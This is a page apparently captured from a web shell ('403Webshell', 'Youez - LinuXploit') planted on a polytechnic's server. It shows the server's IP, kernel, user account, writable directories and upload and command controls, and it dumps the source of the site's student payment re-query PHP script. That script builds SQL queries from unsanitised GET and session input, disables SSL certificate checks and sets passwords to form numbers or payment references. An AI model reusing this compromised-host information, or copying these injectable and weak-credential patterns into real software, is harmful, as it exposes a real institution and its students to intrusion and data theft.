403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.71.120.136
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/reQuery.php
<?php
ob_start();
session_start();
$matNo=$_SESSION['matNo'];
?>

		<?php
			
require 'remita_constants2.php';
$orderID = "";
if( isset( $_GET['id'] )) {
 $orderID = $_GET['id'];
 $ptype=$_GET['ptype'];
}
$response_code ="";
$rrr = "";
$response_message = "";
	
			//Verify Transaction
function remita_transaction_details($orderId){
		$mert =  MERCHANTID;
		$api_key =  APIKEY;
		$concatString = $orderId . $api_key . $mert;
		$hash = hash('sha512', $concatString);
		$url 	= trim(CHECKSTATUSURL . '/' . $mert  . '/' . $orderId . '/' . $hash . '/' . 'orderstatus.reg');
		//  Initiate curl
		
		$ch = curl_init();
		// Disable SSL verification
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		// Will return the response, if false it print the response
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		// Set the url
		curl_setopt($ch, CURLOPT_URL,$url);
		// Execute
		$result=curl_exec($ch);
		// Closing
		curl_close($ch);
		 $result;
		$response = json_decode($result, true);
		return $response;
	}

	if($orderID !=null){

		 $response = remita_transaction_details($orderID);
		 $response_code = $response['status'];
		if (isset($response['RRR']))
			{
		 	$rrr = $response['RRR'];
			}
		  $response_message = $response['message'];


$transactiontime= $response['transactiontime'];
$RRR= $response['RRR'];
$status= $response['status'];
$message= $response['message'];
//echo $response['Approved'];

if (($status=='00') or ($status=='01')){
	$transA='True';
	
	
	
}else{
	$transA='False';
}
		
		require_once('../connect.php');
        $db=db_connect();
//		require('../filetoU/logFile.php');
//$logD='Requerying.  OrderID: '.$orderID.' RRR: '.$RRR;
//logDetail($matNo,$logD);

$db->query("UPDATE `fedpoly`.`remitaorder` SET `remitaRRR` = '$RRR',`transDate` = '$transactiontime',`transStatus` = '$status',`transDetail` = '$message',`transApproved` = '$transA' WHERE `remitaorder`.`orderID` ='$orderID'");


//----------------------------------------------------------------------
      if ($matNo=='22216132085') {
          echo "UPDATE `fedpoly`.`remitaorder` SET `remitaRRR` = '$RRR',`transDate` = '$transactiontime',`transStatus` = '$status',`transDetail` = '$message',`transApproved` = '$transA' WHERE `remitaorder`.`orderID` ='$orderID'";
          echo $status;
          $transApproved=$transA;
      }
//        die($ptype);
        $transApproved=$transA;

        if ($ptype=='Admission Slip'){

        }
        else  if (($ptype == 'Acceptance Fee') and ($transApproved == 'True')) {
            $k=$db->query("select * from remitaorder where regNo='$matNo'and paymentType='Acceptance Fee' and transApproved='True'")->rowCount();
            $cardGet1 = $db->query("select * from stddata where formNo='$matNo' or jambNo='$matNo'");
            $cardGet1_fetch = $cardGet1->fetch(PDO::FETCH_BOTH);
            $cardGet1_num=$cardGet1->rowCount();

            if ($cardGet1->rowCount() > 0) {

                $admittedGet = $db->query("select * from admitted where formNo='$matNo'");
                $admittedGet_fetch = $admittedGet->fetch(PDO::FETCH_BOTH);
                if ($admittedGet->rowCount() > 0) {
                    echo $cardGet1_fetch['formNo'] . '==>';
                    echo $names = $cardGet1_fetch['surname'] . ' ' . $cardGet1_fetch['otherNames'];
                    $names = str_replace("'", "''", $names);
                    $course = $admittedGet_fetch['course'];
                    $levelID = $admittedGet_fetch['levelID'];
                    $address = $cardGet1_fetch['address'];
                    $address = str_replace("'", "''", $address);
                    $state = $cardGet1_fetch['state'];
                    $lga = $cardGet1_fetch['lga'];
                    $email = $cardGet1_fetch['email'];
                    $gsm = $cardGet1_fetch['gsm'];
                    $ausername = $admittedGet_fetch['formNo'];
                    $apassword = $admittedGet_fetch['formNo'];
                    $mode = $admittedGet_fetch['mode'];
                    $dob = $cardGet1_fetch['dob'];
                    $sex = $cardGet1_fetch['sex'];
                    $jambNo = $cardGet1_fetch['jambNo'];

                    $hh = $db->query("INSERT INTO `fedpoly`.`realdata` (`sn`, `formNo`, `matNo`, `names`, `course`, `levelID`, `mode`, `state`, `lga`, `dob`, `gsm`, `sex`, `address`, `email`, `usernamea`, `passworda`, `fresher`,`jambNo`) VALUES (NULL, '$matNo', '$matNo', '$names', '$course', '$levelID', '$mode', '$state', '$lga', '$dob', '$gsm', '$sex', '$address', '$email', '$matNo', '$matNo', '8','$jambNo')");
                }
            }
        }else  if (($ptype == 'School Fees') and ($transApproved == 'True')) {

            //repeater
//            die("am here");

            $pValue=$db->query("select * from remitaorder where regNo='$matNo' and transApproved='True' and paymenttype='School Fees'")->rowCount();
//	if (($transApproved=='True') and ($ptype=='School Fees')){
            if ($pValue>0){

                if (isset($_SESSION['repeater'])){
                    if ($db->query("select * from realdata where matNo='$matNo' and status='Repeater'")->rowCount()!=1){

                        if ($_SESSION['repeater']=='Repeater'){
                            $levelID=$levelID;
                            $db->query("update realdata set levelID='$levelID',status='Repeater' where matNo='$matNo'");
                        }
                    }
                }

                //Generate Matric Number-

                //$arrayN=array(54=>'MB201500054',253=>'AH201500253',97=>'ST201500097PT',92=>'201500092',99=>'PM201500099', 101=>'CS201500101',115='201500115');
//echo $matNo;

                $mSQL="select * from realdata where formNo='$matNo' and matNo='$matNo' and fresher=8";
                $mResult=$db->query($mSQL);
                $mNum=$mResult->rowCount();

                if ($mNum>0){
                    $matNoOld=$_SESSION['formNo'];
                    //generate prefix and sufix
                    $deptID=$_SESSION['deptID'] ;
                    $levelID=$_SESSION['levelID'] ;
                    //	echo $_SESSION['course'] ;
                    $prefixQ=$db->query("select * from dept where sn='$deptID'");
                    $prefixQ_fetch=$prefixQ->fetch(PDO::FETCH_BOTH);
                    $numPrefix=$prefixQ->rowCount();
                    $courseName=$prefixQ_fetch['dOption'];
                    if ($numPrefix>0){
                        if ($levelID=='1'){
                            $prefix=$prefixQ_fetch['nd'];
                            $sufix='';
                            $levelCode='01';
                        }elseif($levelID=='3'){
                            $prefix=$prefixQ_fetch['hnd'];
                            $sufix='';
                            $levelCode='01';
                        }elseif($levelID=='5'){
                            $prefix=$prefixQ_fetch['nd'];
                            $sufix='PT';
                            $levelCode='03';
                        }elseif($levelID=='8'){
                            $prefix=$prefixQ_fetch['nd'];
                            $sufix='DPT';
                            $levelCode='02';
                        }elseif($levelID=='10'){
                             $prefix=$prefixQ_fetch['nd'];
                            $sufix='';
                            $levelCode='01';
                        }elseif($levelID=='11'){
                            $prefix=$prefixQ_fetch['hnd'];
                            $sufix='';
                            $levelCode='02';
                        }
                    }
                    //End of prefix and sufix
                    //generate serial Number
                    // echo $courseName;
                    //$matSQL="select * from realdata where fresher='20' and course='$courseName' and levelID='$levelID' ";
                    $matSQL="select * from realdata where fresher='80' ";
                    $matResult=$db->query($matSQL);
                    echo $matNum=$matResult->rowCount();
                    if ($matNum>0) {
                        $realNo = $matNum + 1;
                        if ($realNo < 10) {
                            $serialNo = '2022'.$levelCode.'0000' . $realNo;
                        } elseif ($realNo < 100) {
                            $serialNo = '2022'.$levelCode.'000' . $realNo;
                        } elseif ($realNo < 1000) {
                            $serialNo = '2022'.$levelCode.'00' . $realNo;
                        } elseif ($realNo < 10000) {
                            $serialNo = '2022'.$levelCode.'0' . $realNo;
                        } else {
                            $serialNo = '2022'.$levelCode . $realNo;
                        }
                    }else{
                        $serialNo = '2022'.$levelCode.'00001';
                    }
                    $newMatNo=$prefix.$serialNo;
                    $db->query("UPDATE `fedpoly`.`realdata` SET `matNo` = '$newMatNo',`usernamea` = '$newMatNo',`passworda` = '$rrr',`fresher` = '80' WHERE `realdata`.`formNo` ='$matNo'");
                    $db->query("UPDATE `fedpoly`.`remitaorder` SET `regNo` = '$newMatNo' WHERE `remitaorder`.`orderID` ='$orderID'");

                    $_SESSION['matNo']=$newMatNo;
                    //=====picture handling
                    // rename('image1.jpg', 'del/image1.jpg');
                    // rename($matNoOld.'.jpg','../passport/Reg'.$newMatNo.'.jpg');


                    /*      $src = opendir('../passportForm/');
                          $dest = opendir('../passport/');
                          $readFile=$matNoOld.'.jpg';
                          $readFile2=$newMatNo.'.jpg';
                          while($readFile = readdir($src)){
                              if($readFile != '.' && $readFile != '..'){
                                  if(!file_exists($readFile)){
                                      if(copy($src.$readFile, $dest.$readFile2)){
                                          echo "Copy file";
                                      }else{
                                          echo "Canot Copy file";
                                      }
                                  }
                              }
                          }*/
                    //=============End of picture handling
                   // echo '<font color="#FF0000"><h2><br> Note: Your Username and Password is now '.$newMatNo.'</h2></font>';
                    //=============End of picture handling
                    $source='../passportForm/'.$matNo.'.jpg';
                    $destination='../passport/Reg'.$newMatNo.'.jpg';
                    copy($source,$destination);
//                    echo '<font color="#FF0000"><h2><br> Note: Your Username and Password is now '.$newMatNo.'</h2></font>';

                    //olevel Update
                    $adisa ="INSERT INTO olevel(`formNo`, `olevel1`, `examNo1`, `eYear1`, `schoolName`, `eType1`, `noOfResult`, `olevel2`, `examNo2`, `eYear2`, `eType2`) SELECT `formNo`, `olevel1`, `examNo1`, `eYear1`, `schoolName`, `eType1`, `noOfResult`, `olevel2`, `examNo2`, `eYear2`, `eType2` FROM preolevel WHERE formNo='$matNo'";
                    $db->query($adisa);
                    $db->query("UPDATE olevel SET formNo='$newMatNo' where formNo='$matNo'");


                }
            }
//



		}
        header('location:'.'paymentHistory.php');
	}
ob_end_flush();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit